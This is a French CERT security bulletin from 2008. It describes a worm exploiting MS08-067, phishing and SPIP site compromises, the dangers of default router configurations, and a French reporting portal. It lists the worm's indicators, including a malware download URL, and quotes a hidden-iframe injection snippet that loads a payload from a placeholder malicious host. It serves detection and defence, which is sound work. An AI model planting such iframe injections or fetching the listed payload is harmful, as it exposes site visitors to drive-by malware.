1 Propagation d’un ver exploitant MS08-067

Le 23 octobre 2008, Microsoft publiait l’annonce d’un correctif d’une vulnérabilité affectant le service Server via RPC (MS08-067, relayé par l’avis CERTA-2008-AVI-523). Ces derniers jours, un ver exploitant cette vulnérabilité se diffuse sur l’Internet.

1.1 Fonctionnement du ver

L’explication du fonctionnement de ce ver repose sur l’analyse faite par Microsoft, certains éditeurs d’antivirus, ainsi que le CERTA.

Le ver, en exploitant la vulnérabilité via le port 445, exécute son code sur la machine victime en bénéficiant des droits administrateur. Il se copie lui-même dans un fichier DLL au nom tiré aléatoirement, crée un service nommé aléatoirement et lie ce service à la DLL via des clefs de registre situées dans l’arborescence suivante :

HKLM\SYSTEM\CurrentControlSet\Services\[nom du service]\Parameters\ …

Le code de la DLL est chargé en mémoire, puis exécuté au démarrage du service, via la ligne de commande suivante :

%SystemRoot%\system32\svchost.exe -k [nom du service]

La machine infectée se connecte ensuite aux sites suivants :

  • getmyip.org ;
  • getmyip.co.uk ;
  • checkip.dyndns.org.

Ces sites ne sont pas nécessairement malveillants mais servent actuellement au code pour récupérer des informations relatives à l’adresse IP publique.

Un serveur Web est ouvert sur la machine victime, associé à un port TCP compris entre 1024 et 10000. Le ver poursuit sa propagation vers d’autres adresses IP construites à la volée. Une fois le shellcode exécuté sur la nouvelle victime, celle-ci vient télécharger le corps du ver sur le serveur web de la première machine infectée. Cette méthode de propagation permet au ver de ne pas être dépendant de seulement quelques serveurs de propagation.

Les machines compromises réalisent en outre quelques actions supplémentaires :

  • effacement des points de restauration système ;
  • téléchargement d’une base de géolocalisation commerciale des adresse IP à l’adresse : http://www.maxmind.com/download/geoip/…
  • téléchargement d’un fichier à l’adresse : http://trafficconverter.biz/4vir/antispyware/loadadv.exe

Microsoft indique que le téléchargement du dernier fichier n’interviendrait qu’à partir du 1er Décembre 2008.

Enfin, le ver tente de modifier les configurations des passerelles Internet (routeur, modem ADSL, …) via des requêtes UPnP spécifiques.

1.2 Risques

Tout d’abord, il convient de rappeler qu’un machine Windows à jour (ou au moins sur laquelle le correctif associé précisé dans l’avis MS08-067 a été appliqué) n’est pas vulnérable à cette attaque. Si ce n’est pas le cas, l’impact de ce ver peut paraître différent suivant le type de réseau que l’on considère.

Si l’on considère un réseau d’entreprise correctement compartimenté (DMZs séparées par plusieurs pare-feux correctement configurés), le risque semble être assez faible. En effet, en général, le port 445 est filtré de l’extérieur du réseau vers l’intérieur du réseau. Le réseau est donc hermétique à toute tentative d’attaque de ce type venant de l’extérieur. En revanche, l’infection pourrait provenir de la connexion en interne d’un poste nomade. Dans ce cas, l’infection risquerait de se propager à l’ensemble des machines du sous-réseau vulnérable. Les machines infectées pourraient alors tenter d’exploiter la faille vers des adresses extérieures au réseau, mais le téléchargement du corps du ver serait a priori impossible (il nécessiterait un NAT de l’extérieur vers la machine infectée sur un port TCP compris entre 1024 et 10000).

Si l’on considère un petit réseau d’entreprise (ou de particulier), constitué d’une ou quelques machines directement derrière un équipement d’accès à l’Internet (routeur ADSL, « box »), les risques d’infection et de propagation semblent plus important. D’une part, le filtrage en amont est souvent trop permissif (voire inexistant). D’autre part, le ver peut reconfigurer l’équipement via des requêtes adressées à l’interface d’administration Web afin de permettre à des machines externes de se connecter sur un poste interne compromis sur un port TCP compris entre 1024 et 10000 (mécanisme de propagation du ver).

1.3 Contournements et Correction

Le CERTA recommande en premier lieu :
  • de veiller à ce que les postes sous Windows soient mis à jour ;
  • de filtrer le port 445/tcp (interne et externe)

De plus, pour déterminer si un réseau héberge une ou plusieurs machines compromises, vous pouvez rechercher les traces suivantes :

  • tentatives de connexions à destination des sites suivants :
    • http://www.getmyip.com ;
    • http://getmyip.co.uk ;
    • http://checkip.dyndns.org.
  • tentatives de récupération du fichier http://www.maxmind.com/download/geoip/database/GeoIP.dat.gz
  • tentatives de connexions à des adresses de la forme : http://[ADRESSE IP]:[NOMBRE ENTRE 1024 et 10000]/
  • élévation sensible du trafic à destination du port 445 ;

Enfin, par mesure préventive, il est recommandé de filtrer les connexions à destination du domaine trafficconverter.biz, au moins temporairement (attention, l’adresse IP associée à ce domaine change régulièrement).

1.4 Documentation

2 Incidents traités cette semaine

2.1 Un traitement d’incident mal géré

2.1.1 Présentation des faits

Cette semaine, le CERTA a informé une victime de la compromission de son site Web. Le serveur en question hébergeait des page de filoutage (phishing). La victime a pris la décision de supprimer le contenu frauduleux. Le lendemain, le responsable du serveur indiquait au CERTA avoir consulté ses journaux des connexions et mis en évidence un script PHP malveillant. L’origine de la présence de ce fichier semble venir d’un manque de contrôle de variable passée en paramètre d’une page PHP et utilisée pour inclure une page locale. Mais en croyant que supprimer les fichiers était suffisant, la victime a oublié de vérifier l’intégrité des pages du serveur. En effet, en regardant avec attention le code source des pages, il s’avère que les attaquants ont ajouté de manière « discrète » près de 200 liens redirigeant vers du contenu illicite.

Le CERTA rappelle que lors de la compromission d’une machine, il est essentiel de vérifier l’intégrité de l’intégralité des données présentes et de ne pas accorder sa confiance aux outils présents sur la machine compromise. Une fois la faille exploitée identifiée, il est plus prudent de ré-installer la machine et d’y restaurer une sauvegarde de confiance des données. Toutes les failles constatées devront être corrigées et les mises à jour effectuées avant la remise en ligne de la machine.

2.1.2 Documentation

3 Compromission de SPIP

Le CERTA a traité cette semaine plusieurs cas de compromission de site fonctionnant avec le CMS SPIP, suite à un signalement de l’académie de Rennes qui a d’ailleurs largement contribué à la rédaction de cet article. Nous en profitons pour les remercier.

La vulnérabilité exploitée n’est pas nouvelle : elle date de février 2006 et concerne les versions de SPIP 1.8.2-e et antérieures, et 1.9 Alpha 2. Un correctif est disponible. Il avait fait l’objet de l’avis CERTA-2006-AVI-058. Néanmoins, c’est la première fois que le CERTA traite des incidents relatifs à cette faille. L’attaque laisse des traces significatives dans les journaux, notamment au niveau des appels au fichier recherche.php3 (il est toutefois possible de réussir les attaques d’une façon différente). Cela a, par ailleurs, été l’occasion de constater à quel point l’automatisation, tant de la recherche de vulnérabilités connues grâce à des techniques comme le « google hacking », que de l’exploitation de ces vulnérabilités par des outils scriptés pouvait représenter aujourd’hui une menace particulièrement redoutable.

Le site compromis abritait en effet tout un matériel générique de création de codes HTML et javascript hostiles capables de s’adapter au contexte du site compromis grâce à de véritables bases de données embarquées dans des fichiers texte. L’objectif de tels sites est toujours de rediriger l’utilisateur à son insu vers des sites hébergeant des codes malveillants, afin d’essayer de compromettre sa machine en profitant de vulnérabilités dans son navigateur ou de l’amener à télécharger et à exécuter une application hostile.

Lorsqu’ils sont exécutés, les scripts du réseau de sites compromis sont capables de créer des pages Web remplies de mots-clefs renvoyant à des contenus pornographiques, associés à des liens ou à des images pointant vers des pages abritant des codes malveillants. Les mots-clefs et les liens composant la page sont pris au hasard dans des fichiers texte servant de base de données, l’URL générique renvoyant à des variantes d’elle-même, créées à la volée et différenciées les unes des autres par un ou plusieurs paramètres passées dans une requête GET. La charge utile de l’attaque repose à chaque fois sur l’inclusion d’un javascript. Ce script, décodé par le navigateur, charge une iframe invisible qui tente de se connecter sur une URL hostile où se trouve la charge utile de l’attaque :

<style>body { margin: 0cm;} div.links {display: none;}</style>
</head><body><iframe name= »infmain »
        http://site_malveillant/get.php?id=21237&amp;p=41 style= »border:
         0pt none ;
        position: absolute; left: 0px; top: 0px; width: 100%; height: 5000px; » ;
        z-index:1000;= » »>&lt;/ifame&gt;
&lt;/head&gt;
&lt;body&gt;chargement…
&lt;/body&gt;
&lt;/html&gt;
</iframe>

Ces scripts eux-mêmes sont susceptibles d’être dynamiquement remplacés en fonction de la disponibilité des sites auxquels ils renvoient ; les domaines hébergeant les codes malveillants changent régulièrement d’adresse IP.

Cette cinétique d’attaque est donc particulièrement redoutable car très mobile et reposant vraisemblablement presque exclusivement sur des automates. Au moment de l’écriture de cet article, les exécutables téléchargés sur les sites hostiles n’étaient pas reconnus par les antivirus ; faute de temps, il n’a pas été possible de décompiler l’un de ces codes ou d’en analyser le comportement dans une « sandbox » (bac à sable) pour repérer en particulier d’éventuelles (mais très probables) tentatives de connexion à des serveurs distants.

4 Il faut éviter les configurations par défaut !

Plusieurs codes actuels ont une caractéristique particulière : une fois la machine compromise, ils cherchent à modifier la configuration du routeur Internet en amont. Pour mieux comprendre la problématique, voici une liste de certains types de données qui circulent sur Internet :

  • des bases de connaissance consistant à répertorier pour chaque modèle de routeur (en fonction du fournisseur d’accès, du mois de production, du pays de mise en vente, etc.) les configurations par défaut de ces derniers. Cela comprend en particulier la liste des comptes par défaut (identifiants et mots de passe), la configuration réseau de l’équipement, les services activés par défaut et les différentes adresses réticulaires (URLs) pour accéder aux configurations ;
  • des listes d’identifiants et de mots de passe usuels ainsi que des tables préconstruites dérivées de ces derniers ;
  • des codes insérés dans des pages Web (Javascript ou Flash par exemple) permettant de forcer le navigateur à communiquer vers des adresses IP internes et à balayer les ports. Certains codes utilisent le coloriage utilisé pour signaler les pages déjà visitées, d’autres fonctionnent à partir du moment où ces codes sont interprétés par le navigateur et attendent pendant un certain temps une réponse de la machine distante.

Les codes actuels mentionnés ci-dessus exploitent tout ou partie de ces données. A valeur d’illustration, un code malveillant peut, une fois exécuté sur le poste, chercher à connaître l’adresse IP publique de sa victime, puis déterminer en fonction de cette adresse publique quel fournisseur d’accès est utilisé. Cette information est récupérable par les résultats de type whois ou par des méthodes plus évoluées de géolocalisation d’adresses IP. Une fois cette information disponible, le code malveillant envoie à destination de l’interface Web d’administration de l’équipement les requêtes connues pour en modifier la configuration.

Ce scénario s’applique également pour les compromissions de points d’accès sans-fil afin de récupérer les secrets ou modifier la configuration réseau.

La méthode est intéressante car l’utilisateur qui ne modifie pas la configuration par défaut de son équipement ne doit probablement pas vérifier non plus si celle-ci change. La modification de la configuration du serveur DNS ou l’ouverture d’un port ne sera pas visible (ou difficilement).

Pour toutes ces raisons, le CERTA rappelle l’impérative nécessité de modifier, en priorité :

  • les comptes d’administration et en particulier le mot de passe pour le remplacer par un mot de passe robuste et propre à cet usage ;
  • l’adresse IP utilisée pour accéder à l’interface ;
  • la plage d’attribution d’adressage IP disponible pour le service DHCP.

Il ne faut pas accéder à l’interface et naviguer sur Internet en même temps, afin de limiter certains risques. L’idéal reste bien entendu d’avoir une machine dédiée à l’administration de cette interface sans intéraction possible avec l’extérieur.

Il ne faut pas oublier non plus les bonnes pratiques en terme de navigation, comme le nettoyage des fichiers de session à chaque fermeture du navigateur.

5 Plate-forme de signalement des infractions

Mi-décembre, le Ministère de l’Intérieur lancera le portail PHAROS (Plateforme d’Harmonisation, d’Analyse, de Recoupement et d’Orientation des Signalements), sur lequel le visiteur pourra rapporter tous types de contenus illicites trouvés sur Internet (pédopornographie, racisme,…) mais aussi des infractions liées à l’usage d’Internet (escroqueries, …) et tous types de criminalité, dans l’optique, à terme, de redonner confiance aux internautes. Il faut toutefois que les faits dénoncés soient prévus et punis par la loi française et qu’ils soient accessibles au public. Par ailleurs, ce site contiendra également des informations adressées au public (jeunes, parents,…) ainsi que des conseils en sécurité informatique. A l’avenir, une interopérabilité entre cette plate-forme et une plate-forme européenne pourrait être mise en place.

La version actuelle du site fonctionne en mode dégradé jusqu’à la mise en ligne officielle.

Rappel des avis émis

Dans la période du 17 au 23 novembre 2008, le CERT-FR a émis les publications suivantes :


Durant la même période, les publications suivantes ont été mises à jour :